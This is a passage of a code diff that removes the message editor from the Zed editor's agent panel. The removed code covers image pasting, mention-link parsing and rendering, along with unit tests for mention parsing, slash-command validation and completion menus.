-                    ("tiff", gpui::ImageFormat::Tiff),
-                    ("tif", gpui::ImageFormat::Tiff),
-                    ("ico", gpui::ImageFormat::Ico),
-                ];
-
-                let mut images = Vec::new();
-                for path in paths {
-                    let extension = path
-                        .extension()
-                        .and_then(|ext| ext.to_str())
-                        .map(|s| s.to_lowercase());
-
-                    let Some(format) = extension.and_then(|ext| {
-                        supported_formats
-                            .iter()
-                            .find(|(e, _)| *e == ext)
-                            .map(|(_, f)| *f)
-                    }) else {
-                        continue;
-                    };
-
-                    let Ok(content) = async_fs::read(&path).await else {
-                        continue;
-                    };
-
-                    images.push(gpui::Image::from_bytes(format, content));
-                }
-
-                crate::mention_set::insert_images_as_context(
-                    images,
-                    editor,
-                    mention_set,
-                    workspace,
-                    cx,
-                )
-                .await;
-                Ok(())
-            })
-            .detach_and_log_err(cx);
-    }
-
-    pub fn set_read_only(&mut self, read_only: bool, cx: &mut Context<Self>) {
-        self.editor.update(cx, |message_editor, cx| {
-            message_editor.set_read_only(read_only);
-            cx.notify()
-        })
-    }
-
-    pub fn set_mode(&mut self, mode: EditorMode, cx: &mut Context<Self>) {
-        self.editor.update(cx, |editor, cx| {
-            editor.set_mode(mode);
-            cx.notify()
-        });
-    }
-
-    pub fn set_message(
-        &mut self,
-        message: Vec<acp::ContentBlock>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(workspace) = self.workspace.upgrade() else {
-            return;
-        };
-
-        self.clear(window, cx);
-
-        let path_style = workspace.read(cx).project().read(cx).path_style(cx);
-        let mut text = String::new();
-        let mut mentions = Vec::new();
-
-        for chunk in message {
-            match chunk {
-                acp::ContentBlock::Text(text_content) => {
-                    text.push_str(&text_content.text);
-                }
-                acp::ContentBlock::Resource(acp::EmbeddedResource {
-                    resource: acp::EmbeddedResourceResource::TextResourceContents(resource),
-                    ..
-                }) => {
-                    let Some(mention_uri) = MentionUri::parse(&resource.uri, path_style).log_err()
-                    else {
-                        continue;
-                    };
-                    let start = text.len();
-                    write!(&mut text, "{}", mention_uri.as_link()).ok();
-                    let end = text.len();
-                    mentions.push((
-                        start..end,
-                        mention_uri,
-                        Mention::Text {
-                            content: resource.text,
-                            tracked_buffers: Vec::new(),
-                        },
-                    ));
-                }
-                acp::ContentBlock::ResourceLink(resource) => {
-                    if let Some(mention_uri) =
-                        MentionUri::parse(&resource.uri, path_style).log_err()
-                    {
-                        let start = text.len();
-                        write!(&mut text, "{}", mention_uri.as_link()).ok();
-                        let end = text.len();
-                        mentions.push((start..end, mention_uri, Mention::Link));
-                    }
-                }
-                acp::ContentBlock::Image(acp::ImageContent {
-                    uri,
-                    data,
-                    mime_type,
-                    ..
-                }) => {
-                    let mention_uri = if let Some(uri) = uri {
-                        MentionUri::parse(&uri, path_style)
-                    } else {
-                        Ok(MentionUri::PastedImage)
-                    };
-                    let Some(mention_uri) = mention_uri.log_err() else {
-                        continue;
-                    };
-                    let Some(format) = ImageFormat::from_mime_type(&mime_type) else {
-                        log::error!("failed to parse MIME type for image: {mime_type:?}");
-                        continue;
-                    };
-                    let start = text.len();
-                    write!(&mut text, "{}", mention_uri.as_link()).ok();
-                    let end = text.len();
-                    mentions.push((
-                        start..end,
-                        mention_uri,
-                        Mention::Image(MentionImage {
-                            data: data.into(),
-                            format,
-                        }),
-                    ));
-                }
-                _ => {}
-            }
-        }
-
-        let snapshot = self.editor.update(cx, |editor, cx| {
-            editor.set_text(text, window, cx);
-            editor.buffer().read(cx).snapshot(cx)
-        });
-
-        for (range, mention_uri, mention) in mentions {
-            let anchor = snapshot.anchor_before(MultiBufferOffset(range.start));
-            let Some((crease_id, tx)) = insert_crease_for_mention(
-                anchor.excerpt_id,
-                anchor.text_anchor,
-                range.end - range.start,
-                mention_uri.name().into(),
-                mention_uri.icon_path(cx),
-                None,
-                self.editor.clone(),
-                window,
-                cx,
-            ) else {
-                continue;
-            };
-            drop(tx);
-
-            self.mention_set.update(cx, |mention_set, _cx| {
-                mention_set.insert_mention(
-                    crease_id,
-                    mention_uri.clone(),
-                    Task::ready(Ok(mention)).shared(),
-                )
-            });
-        }
-        cx.notify();
-    }
-
-    pub fn text(&self, cx: &App) -> String {
-        self.editor.read(cx).text(cx)
-    }
-
-    pub fn set_placeholder_text(
-        &mut self,
-        placeholder: &str,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.editor.update(cx, |editor, cx| {
-            editor.set_placeholder_text(placeholder, window, cx);
-        });
-    }
-
-    #[cfg(test)]
-    pub fn set_text(&mut self, text: &str, window: &mut Window, cx: &mut Context<Self>) {
-        self.editor.update(cx, |editor, cx| {
-            editor.set_text(text, window, cx);
-        });
-    }
-}
-
-impl Focusable for MessageEditor {
-    fn focus_handle(&self, cx: &App) -> FocusHandle {
-        self.editor.focus_handle(cx)
-    }
-}
-
-impl Render for MessageEditor {
-    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        div()
-            .key_context("MessageEditor")
-            .on_action(cx.listener(Self::chat))
-            .on_action(cx.listener(Self::send_immediately))
-            .on_action(cx.listener(Self::chat_with_follow))
-            .on_action(cx.listener(Self::cancel))
-            .on_action(cx.listener(Self::paste_raw))
-            .capture_action(cx.listener(Self::paste))
-            .flex_1()
-            .child({
-                let settings = ThemeSettings::get_global(cx);
-
-                let text_style = TextStyle {
-                    color: cx.theme().colors().text,
-                    font_family: settings.buffer_font.family.clone(),
-                    font_fallbacks: settings.buffer_font.fallbacks.clone(),
-                    font_features: settings.buffer_font.features.clone(),
-                    font_size: settings.agent_buffer_font_size(cx).into(),
-                    font_weight: settings.buffer_font.weight,
-                    line_height: relative(settings.buffer_line_height.value()),
-                    ..Default::default()
-                };
-
-                EditorElement::new(
-                    &self.editor,
-                    EditorStyle {
-                        background: cx.theme().colors().editor_background,
-                        local_player: cx.theme().players().local(),
-                        text: text_style,
-                        syntax: cx.theme().syntax().clone(),
-                        inlay_hints_style: editor::make_inlay_hints_style(cx),
-                        ..Default::default()
-                    },
-                )
-            })
-    }
-}
-
-pub struct MessageEditorAddon {}
-
-impl MessageEditorAddon {
-    pub fn new() -> Self {
-        Self {}
-    }
-}
-
-impl Addon for MessageEditorAddon {
-    fn to_any(&self) -> &dyn std::any::Any {
-        self
-    }
-
-    fn to_any_mut(&mut self) -> Option<&mut dyn std::any::Any> {
-        Some(self)
-    }
-
-    fn extend_key_context(&self, key_context: &mut KeyContext, cx: &App) {
-        let settings = agent_settings::AgentSettings::get_global(cx);
-        if settings.use_modifier_to_send {
-            key_context.add("use_modifier_to_send");
-        }
-    }
-}
-
-/// Parses markdown mention links in the format `[@name](uri)` from text.
-/// Returns a vector of (range, MentionUri) pairs where range is the byte range in the text.
-fn parse_mention_links(text: &str, path_style: PathStyle) -> Vec<(Range<usize>, MentionUri)> {
-    let mut mentions = Vec::new();
-    let mut search_start = 0;
-
-    while let Some(link_start) = text[search_start..].find("[@") {
-        let absolute_start = search_start + link_start;
-
-        // Find the matching closing bracket for the name, handling nested brackets.
-        // Start at the '[' character so find_matching_bracket can track depth correctly.
-        let Some(name_end) = find_matching_bracket(&text[absolute_start..], '[', ']') else {
-            search_start = absolute_start + 2;
-            continue;
-        };
-        let name_end = absolute_start + name_end;
-
-        // Check for opening parenthesis immediately after
-        if text.get(name_end + 1..name_end + 2) != Some("(") {
-            search_start = name_end + 1;
-            continue;
-        }
-
-        // Find the matching closing parenthesis for the URI, handling nested parens
-        let uri_start = name_end + 2;
-        let Some(uri_end_relative) = find_matching_bracket(&text[name_end + 1..], '(', ')') else {
-            search_start = uri_start;
-            continue;
-        };
-        let uri_end = name_end + 1 + uri_end_relative;
-        let link_end = uri_end + 1;
-
-        let uri_str = &text[uri_start..uri_end];
-
-        // Try to parse the URI as a MentionUri
-        if let Ok(mention_uri) = MentionUri::parse(uri_str, path_style) {
-            mentions.push((absolute_start..link_end, mention_uri));
-        }
-
-        search_start = link_end;
-    }
-
-    mentions
-}
-
-/// Finds the position of the matching closing bracket, handling nested brackets.
-/// The input `text` should start with the opening bracket.
-/// Returns the index of the matching closing bracket relative to `text`.
-fn find_matching_bracket(text: &str, open: char, close: char) -> Option<usize> {
-    let mut depth = 0;
-    for (index, character) in text.char_indices() {
-        if character == open {
-            depth += 1;
-        } else if character == close {
-            depth -= 1;
-            if depth == 0 {
-                return Some(index);
-            }
-        }
-    }
-    None
-}
-
-#[cfg(test)]
-mod tests {
-    use std::{cell::RefCell, ops::Range, path::Path, rc::Rc, sync::Arc};
-
-    use acp_thread::{AgentSessionInfo, MentionUri};
-    use agent::{ThreadStore, outline};
-    use agent_client_protocol as acp;
-    use editor::{
-        AnchorRangeExt as _, Editor, EditorMode, MultiBufferOffset, SelectionEffects,
-        actions::Paste,
-    };
-
-    use fs::FakeFs;
-    use futures::StreamExt as _;
-    use gpui::{
-        AppContext, ClipboardItem, Entity, EventEmitter, FocusHandle, Focusable, TestAppContext,
-        VisualTestContext,
-    };
-    use language_model::LanguageModelRegistry;
-    use lsp::{CompletionContext, CompletionTriggerKind};
-    use project::{CompletionIntent, Project, ProjectPath};
-    use serde_json::json;
-
-    use text::Point;
-    use ui::{App, Context, IntoElement, Render, SharedString, Window};
-    use util::{path, paths::PathStyle, rel_path::rel_path};
-    use workspace::{AppState, Item, MultiWorkspace};
-
-    use crate::acp::{
-        message_editor::{Mention, MessageEditor, parse_mention_links},
-        thread_view::tests::init_test,
-    };
-    use crate::completion_provider::{PromptCompletionProviderDelegate, PromptContextType};
-
-    #[test]
-    fn test_parse_mention_links() {
-        // Single file mention
-        let text = "[@bundle-mac](file:///Users/test/zed/script/bundle-mac)";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 1);
-        assert_eq!(mentions[0].0, 0..text.len());
-        assert!(matches!(mentions[0].1, MentionUri::File { .. }));
-
-        // Multiple mentions
-        let text = "Check [@file1](file:///path/to/file1) and [@file2](file:///path/to/file2)!";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 2);
-
-        // Text without mentions
-        let text = "Just some regular text without mentions";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 0);
-
-        // Malformed mentions (should be skipped)
-        let text = "[@incomplete](invalid://uri) and [@missing](";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 0);
-
-        // Mixed content with valid mention
-        let text = "Before [@valid](file:///path/to/file) after";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 1);
-        assert_eq!(mentions[0].0.start, 7);
-
-        // HTTP URL mention (Fetch)
-        let text = "Check out [@docs](https://example.com/docs) for more info";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 1);
-        assert!(matches!(mentions[0].1, MentionUri::Fetch { .. }));
-
-        // Directory mention (trailing slash)
-        let text = "[@src](file:///path/to/src/)";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 1);
-        assert!(matches!(mentions[0].1, MentionUri::Directory { .. }));
-
-        // Multiple different mention types
-        let text = "File [@f](file:///a) and URL [@u](https://b.com) and dir [@d](file:///c/)";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 3);
-        assert!(matches!(mentions[0].1, MentionUri::File { .. }));
-        assert!(matches!(mentions[1].1, MentionUri::Fetch { .. }));
-        assert!(matches!(mentions[2].1, MentionUri::Directory { .. }));
-
-        // Adjacent mentions without separator
-        let text = "[@a](file:///a)[@b](file:///b)";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 2);
-
-        // Regular markdown link (not a mention) should be ignored
-        let text = "[regular link](https://example.com)";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 0);
-
-        // Incomplete mention link patterns
-        let text = "[@name] without url and [@name( malformed";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 0);
-
-        // Nested brackets in name portion
-        let text = "[@name [with brackets]](file:///path/to/file)";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 1);
-        assert_eq!(mentions[0].0, 0..text.len());
-
-        // Deeply nested brackets
-        let text = "[@outer [inner [deep]]](file:///path)";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 1);
-
-        // Unbalanced brackets should fail gracefully
-        let text = "[@unbalanced [bracket](file:///path)";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 0);
-
-        // Nested parentheses in URI (common in URLs with query params)
-        let text = "[@wiki](https://en.wikipedia.org/wiki/Rust_(programming_language))";
-        let mentions = parse_mention_links(text, PathStyle::local());
-        assert_eq!(mentions.len(), 1);
-        if let MentionUri::Fetch { url } = &mentions[0].1 {
-            assert!(url.as_str().contains("Rust_(programming_language)"));
-        } else {
-            panic!("Expected Fetch URI");
-        }
-    }
-
-    #[gpui::test]
-    async fn test_at_mention_removal(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree("/project", json!({"file": ""})).await;
-        let project = Project::test(fs, [Path::new(path!("/project"))], cx).await;
-
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-
-        let thread_store = None;
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-
-        let message_editor = cx.update(|window, cx| {
-            cx.new(|cx| {
-                MessageEditor::new(
-                    workspace.downgrade(),
-                    project.downgrade(),
-                    thread_store.clone(),
-                    history.downgrade(),
-                    None,
-                    Default::default(),
-                    Default::default(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        min_lines: 1,
-                        max_lines: None,
-                    },
-                    window,
-                    cx,
-                )
-            })
-        });
-        let editor = message_editor.update(cx, |message_editor, _| message_editor.editor.clone());
-
-        cx.run_until_parked();
-
-        let excerpt_id = editor.update(cx, |editor, cx| {
-            editor
-                .buffer()
-                .read(cx)
-                .excerpt_ids()
-                .into_iter()
-                .next()
-                .unwrap()
-        });
-        let completions = editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Hello @file ", window, cx);
-            let buffer = editor.buffer().read(cx).as_singleton().unwrap();
-            let completion_provider = editor.completion_provider().unwrap();
-            completion_provider.completions(
-                excerpt_id,
-                &buffer,
-                text::Anchor::MAX,
-                CompletionContext {
-                    trigger_kind: CompletionTriggerKind::TRIGGER_CHARACTER,
-                    trigger_character: Some("@".into()),
-                },
-                window,
-                cx,
-            )
-        });
-        let [_, completion]: [_; 2] = completions
-            .await
-            .unwrap()
-            .into_iter()
-            .flat_map(|response| response.completions)
-            .collect::<Vec<_>>()
-            .try_into()
-            .unwrap();
-
-        editor.update_in(cx, |editor, window, cx| {
-            let snapshot = editor.buffer().read(cx).snapshot(cx);
-            let range = snapshot
-                .anchor_range_in_excerpt(excerpt_id, completion.replace_range)
-                .unwrap();
-            editor.edit([(range, completion.new_text)], cx);
-            (completion.confirm.unwrap())(CompletionIntent::Complete, window, cx);
-        });
-
-        cx.run_until_parked();
-
-        // Backspace over the inserted crease (and the following space).
-        editor.update_in(cx, |editor, window, cx| {
-            editor.backspace(&Default::default(), window, cx);
-            editor.backspace(&Default::default(), window, cx);
-        });
-
-        let (content, _) = message_editor
-            .update(cx, |message_editor, cx| message_editor.contents(false, cx))
-            .await
-            .unwrap();
-
-        // We don't send a resource link for the deleted crease.
-        pretty_assertions::assert_matches!(content.as_slice(), [acp::ContentBlock::Text { .. }]);
-    }
-
-    #[gpui::test]
-    async fn test_slash_command_validation(cx: &mut gpui::TestAppContext) {
-        init_test(cx);
-        let fs = FakeFs::new(cx.executor());
-        fs.insert_tree(
-            "/test",
-            json!({
-                ".zed": {
-                    "tasks.json": r#"[{"label": "test", "command": "echo"}]"#
-                },
-                "src": {
-                    "main.rs": "fn main() {}",
-                },
-            }),
-        )
-        .await;
-
-        let project = Project::test(fs.clone(), ["/test".as_ref()], cx).await;
-        let thread_store = None;
-        let prompt_capabilities = Rc::new(RefCell::new(acp::PromptCapabilities::default()));
-        // Start with no available commands - simulating Claude which doesn't support slash commands
-        let available_commands = Rc::new(RefCell::new(vec![]));
-
-        let (multi_workspace, cx) =
-            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-        let workspace_handle = workspace.downgrade();
-        let message_editor = workspace.update_in(cx, |_, window, cx| {
-            cx.new(|cx| {
-                MessageEditor::new(
-                    workspace_handle.clone(),
-                    project.downgrade(),
-                    thread_store.clone(),
-                    history.downgrade(),
-                    None,
-                    prompt_capabilities.clone(),
-                    available_commands.clone(),
-                    "Claude Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        min_lines: 1,
-                        max_lines: None,
-                    },
-                    window,
-                    cx,
-                )
-            })
-        });
-        let editor = message_editor.update(cx, |message_editor, _| message_editor.editor.clone());
-
-        // Test that slash commands fail when no available_commands are set (empty list means no commands supported)
-        editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("/file test.txt", window, cx);
-        });
-
-        let contents_result = message_editor
-            .update(cx, |message_editor, cx| message_editor.contents(false, cx))
-            .await;
-
-        // Should fail because available_commands is empty (no commands supported)
-        assert!(contents_result.is_err());
-        let error_message = contents_result.unwrap_err().to_string();
-        assert!(error_message.contains("not supported by Claude Agent"));
-        assert!(error_message.contains("Available commands: none"));
-
-        // Now simulate Claude providing its list of available commands (which doesn't include file)
-        available_commands.replace(vec![acp::AvailableCommand::new("help", "Get help")]);
-
-        // Test that unsupported slash commands trigger an error when we have a list of available commands
-        editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("/file test.txt", window, cx);
-        });
-
-        let contents_result = message_editor
-            .update(cx, |message_editor, cx| message_editor.contents(false, cx))
-            .await;
-
-        assert!(contents_result.is_err());
-        let error_message = contents_result.unwrap_err().to_string();
-        assert!(error_message.contains("not supported by Claude Agent"));
-        assert!(error_message.contains("/file"));
-        assert!(error_message.contains("Available commands: /help"));
-
-        // Test that supported commands work fine
-        editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("/help", window, cx);
-        });
-
-        let contents_result = message_editor
-            .update(cx, |message_editor, cx| message_editor.contents(false, cx))
-            .await;
-
-        // Should succeed because /help is in available_commands
-        assert!(contents_result.is_ok());
-
-        // Test that regular text works fine
-        editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Hello Claude!", window, cx);
-        });
-
-        let (content, _) = message_editor
-            .update(cx, |message_editor, cx| message_editor.contents(false, cx))
-            .await
-            .unwrap();
-
-        assert_eq!(content.len(), 1);
-        if let acp::ContentBlock::Text(text) = &content[0] {
-            assert_eq!(text.text, "Hello Claude!");
-        } else {
-            panic!("Expected ContentBlock::Text");
-        }
-
-        // Test that @ mentions still work
-        editor.update_in(cx, |editor, window, cx| {
-            editor.set_text("Check this @", window, cx);
-        });
-
-        // The @ mention functionality should not be affected
-        let (content, _) = message_editor
-            .update(cx, |message_editor, cx| message_editor.contents(false, cx))
-            .await
-            .unwrap();
-
-        assert_eq!(content.len(), 1);
-        if let acp::ContentBlock::Text(text) = &content[0] {
-            assert_eq!(text.text, "Check this @");
-        } else {
-            panic!("Expected ContentBlock::Text");
-        }
-    }
-
-    struct MessageEditorItem(Entity<MessageEditor>);
-
-    impl Item for MessageEditorItem {
-        type Event = ();
-
-        fn include_in_nav_history() -> bool {
-            false
-        }
-
-        fn tab_content_text(&self, _detail: usize, _cx: &App) -> SharedString {
-            "Test".into()
-        }
-    }
-
-    impl EventEmitter<()> for MessageEditorItem {}
-
-    impl Focusable for MessageEditorItem {
-        fn focus_handle(&self, cx: &App) -> FocusHandle {
-            self.0.read(cx).focus_handle(cx)
-        }
-    }
-
-    impl Render for MessageEditorItem {
-        fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
-            self.0.clone().into_any_element()
-        }
-    }
-
-    #[gpui::test]
-    async fn test_completion_provider_commands(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let app_state = cx.update(AppState::test);
-
-        cx.update(|cx| {
-            editor::init(cx);
-            workspace::init(app_state.clone(), cx);
-        });
-
-        let project = Project::test(app_state.fs.clone(), [path!("/dir").as_ref()], cx).await;
-        let window =
-            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = window
-            .read_with(cx, |mw, _| mw.workspace().clone())
-            .unwrap();
-
-        let mut cx = VisualTestContext::from_window(window.into(), cx);
-
-        let thread_store = None;
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-        let prompt_capabilities = Rc::new(RefCell::new(acp::PromptCapabilities::default()));
-        let available_commands = Rc::new(RefCell::new(vec![
-            acp::AvailableCommand::new("quick-math", "2 + 2 = 4 - 1 = 3"),
-            acp::AvailableCommand::new("say-hello", "Say hello to whoever you want").input(
-                acp::AvailableCommandInput::Unstructured(acp::UnstructuredCommandInput::new(
-                    "<name>",
-                )),
-            ),
-        ]));
-
-        let editor = workspace.update_in(&mut cx, |workspace, window, cx| {
-            let workspace_handle = cx.weak_entity();
-            let message_editor = cx.new(|cx| {
-                MessageEditor::new(
-                    workspace_handle,
-                    project.downgrade(),
-                    thread_store.clone(),
-                    history.downgrade(),
-                    None,
-                    prompt_capabilities.clone(),
-                    available_commands.clone(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        max_lines: None,
-                        min_lines: 1,
-                    },
-                    window,
-                    cx,
-                )
-            });
-            workspace.active_pane().update(cx, |pane, cx| {
-                pane.add_item(
-                    Box::new(cx.new(|_| MessageEditorItem(message_editor.clone()))),
-                    true,
-                    true,
-                    None,
-                    window,
-                    cx,
-                );
-            });
-            message_editor.read(cx).focus_handle(cx).focus(window, cx);
-            message_editor.read(cx).editor().clone()
-        });
-
-        cx.simulate_input("/");
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            assert_eq!(editor.text(cx), "/");
-            assert!(editor.has_visible_completions_menu());
-
-            assert_eq!(
-                current_completion_labels_with_documentation(editor),
-                &[
-                    ("quick-math".into(), "2 + 2 = 4 - 1 = 3".into()),
-                    ("say-hello".into(), "Say hello to whoever you want".into())
-                ]
-            );
-            editor.set_text("", window, cx);
-        });
-
-        cx.simulate_input("/qui");
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            assert_eq!(editor.text(cx), "/qui");
-            assert!(editor.has_visible_completions_menu());
-
-            assert_eq!(
-                current_completion_labels_with_documentation(editor),
-                &[("quick-math".into(), "2 + 2 = 4 - 1 = 3".into())]
-            );
-            editor.set_text("", window, cx);
-        });
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            assert!(editor.has_visible_completions_menu());
-            editor.confirm_completion(&editor::actions::ConfirmCompletion::default(), window, cx);
-        });
-
-        cx.run_until_parked();
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            assert_eq!(editor.display_text(cx), "/quick-math ");
-            assert!(!editor.has_visible_completions_menu());
-            editor.set_text("", window, cx);
-        });
-
-        cx.simulate_input("/say");
-
-        editor.update_in(&mut cx, |editor, _window, cx| {
-            assert_eq!(editor.display_text(cx), "/say");
-            assert!(editor.has_visible_completions_menu());
-
-            assert_eq!(
-                current_completion_labels_with_documentation(editor),
-                &[("say-hello".into(), "Say hello to whoever you want".into())]
-            );
-        });
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            assert!(editor.has_visible_completions_menu());
-            editor.confirm_completion(&editor::actions::ConfirmCompletion::default(), window, cx);
-        });
-
-        cx.run_until_parked();
-
-        editor.update_in(&mut cx, |editor, _window, cx| {
-            assert_eq!(editor.text(cx), "/say-hello ");
-            assert_eq!(editor.display_text(cx), "/say-hello <name>");
-            assert!(!editor.has_visible_completions_menu());
-        });
-
-        cx.simulate_input("GPT5");
-
-        cx.run_until_parked();
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            assert_eq!(editor.text(cx), "/say-hello GPT5");
-            assert_eq!(editor.display_text(cx), "/say-hello GPT5");
-            assert!(!editor.has_visible_completions_menu());
-
-            // Delete argument
-            for _ in 0..5 {
-                editor.backspace(&editor::actions::Backspace, window, cx);
-            }
-        });
-
-        cx.run_until_parked();
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            assert_eq!(editor.text(cx), "/say-hello");
-            // Hint is visible because argument was deleted
-            assert_eq!(editor.display_text(cx), "/say-hello <name>");
-
-            // Delete last command letter
-            editor.backspace(&editor::actions::Backspace, window, cx);
-        });
-
-        cx.run_until_parked();
-
-        editor.update_in(&mut cx, |editor, _window, cx| {
-            // Hint goes away once command no longer matches an available one
-            assert_eq!(editor.text(cx), "/say-hell");
-            assert_eq!(editor.display_text(cx), "/say-hell");
-            assert!(!editor.has_visible_completions_menu());
-        });
-    }
-
-    #[gpui::test]
-    async fn test_context_completion_provider_mentions(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let app_state = cx.update(AppState::test);
-
-        cx.update(|cx| {
-            editor::init(cx);
-            workspace::init(app_state.clone(), cx);
-        });
-
-        app_state
-            .fs
-            .as_fake()
-            .insert_tree(
-                path!("/dir"),
-                json!({
-                    "editor": "",
-                    "a": {
-                        "one.txt": "1",
-                        "two.txt": "2",
-                        "three.txt": "3",
-                        "four.txt": "4"
-                    },
-                    "b": {
-                        "five.txt": "5",
-                        "six.txt": "6",
-                        "seven.txt": "7",
-                        "eight.txt": "8",
-                    },
-                    "x.png": "",
-                }),
-            )
-            .await;
-
-        let project = Project::test(app_state.fs.clone(), [path!("/dir").as_ref()], cx).await;
-        let window =
-            cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
-        let workspace = window
-            .read_with(cx, |mw, _| mw.workspace().clone())
-            .unwrap();
-
-        let worktree = project.update(cx, |project, cx| {
-            let mut worktrees = project.worktrees(cx).collect::<Vec<_>>();
-            assert_eq!(worktrees.len(), 1);
-            worktrees.pop().unwrap()
-        });
-        let worktree_id = worktree.read_with(cx, |worktree, _| worktree.id());
-
-        let mut cx = VisualTestContext::from_window(window.into(), cx);
-
-        let paths = vec![
-            rel_path("a/one.txt"),
-            rel_path("a/two.txt"),
-            rel_path("a/three.txt"),
-            rel_path("a/four.txt"),
-            rel_path("b/five.txt"),
-            rel_path("b/six.txt"),
-            rel_path("b/seven.txt"),
-            rel_path("b/eight.txt"),
-        ];
-
-        let slash = PathStyle::local().primary_separator();
-
-        let mut opened_editors = Vec::new();
-        for path in paths {
-            let buffer = workspace
-                .update_in(&mut cx, |workspace, window, cx| {
-                    workspace.open_path(
-                        ProjectPath {
-                            worktree_id,
-                            path: path.into(),
-                        },
-                        None,
-                        false,
-                        window,
-                        cx,
-                    )
-                })
-                .await
-                .unwrap();
-            opened_editors.push(buffer);
-        }
-
-        let thread_store = cx.new(|cx| ThreadStore::new(cx));
-        let history = cx
-            .update(|window, cx| cx.new(|cx| crate::acp::AcpThreadHistory::new(None, window, cx)));
-        let prompt_capabilities = Rc::new(RefCell::new(acp::PromptCapabilities::default()));
-
-        let (message_editor, editor) = workspace.update_in(&mut cx, |workspace, window, cx| {
-            let workspace_handle = cx.weak_entity();
-            let message_editor = cx.new(|cx| {
-                MessageEditor::new(
-                    workspace_handle,
-                    project.downgrade(),
-                    Some(thread_store),
-                    history.downgrade(),
-                    None,
-                    prompt_capabilities.clone(),
-                    Default::default(),
-                    "Test Agent".into(),
-                    "Test",
-                    EditorMode::AutoHeight {
-                        max_lines: None,
-                        min_lines: 1,
-                    },
-                    window,
-                    cx,
-                )
-            });
-            workspace.active_pane().update(cx, |pane, cx| {
-                pane.add_item(
-                    Box::new(cx.new(|_| MessageEditorItem(message_editor.clone()))),
-                    true,
-                    true,
-                    None,
-                    window,
-                    cx,
-                );
-            });
-            message_editor.read(cx).focus_handle(cx).focus(window, cx);
-            let editor = message_editor.read(cx).editor().clone();
-            (message_editor, editor)
-        });
-
-        cx.simulate_input("Lorem @");
-
-        editor.update_in(&mut cx, |editor, window, cx| {
-            assert_eq!(editor.text(cx), "Lorem @");
-            assert!(editor.has_visible_completions_menu());
-
-            assert_eq!(
-                current_completion_labels(editor),
-                &[
-                    format!("eight.txt b{slash}"),
-                    format!("seven.txt b{slash}"),
-                    format!("six.txt b{slash}"),
-                    format!("five.txt b{slash}"),
-                    "Files & Directories".into(),
-                    "Symbols".into()
-                ]
-            );
-            editor.set_text("", window, cx);
-        });
-
-        prompt_capabilities.replace(
-            acp::PromptCapabilities::new()
-                .image(true)
-                .audio(true)
-                .embedded_context(true),
-        );
-
-        cx.simulate_input("Lorem ");
-
-        editor.update(&mut cx, |editor, cx| {
-            assert_eq!(editor.text(cx), "Lorem ");
-            assert!(!editor.has_visible_completions_menu());
-        });
-
-        cx.simulate_input("@");
-
-        editor.update(&mut cx, |editor, cx| {
-            assert_eq!(editor.text(cx), "Lorem @");
-            assert!(editor.has_visible_completions_menu());
-            assert_eq!(
-                current_completion_labels(editor),
-                &[
-                    format!("eight.txt b{slash}"),
-                    format!("seven.txt b{slash}"),
-                    format!("six.txt b{slash}"),
-                    format!("five.txt b{slash}"),
-                    "Files & Directories".into(),
-                    "Symbols".into(),
-                    "Threads".into(),
-                    "Fetch".into()
-                ]
-            );
-        });
-
-        // Select and confirm "File"
-        editor.update_in(&mut cx, |editor, window, cx| {
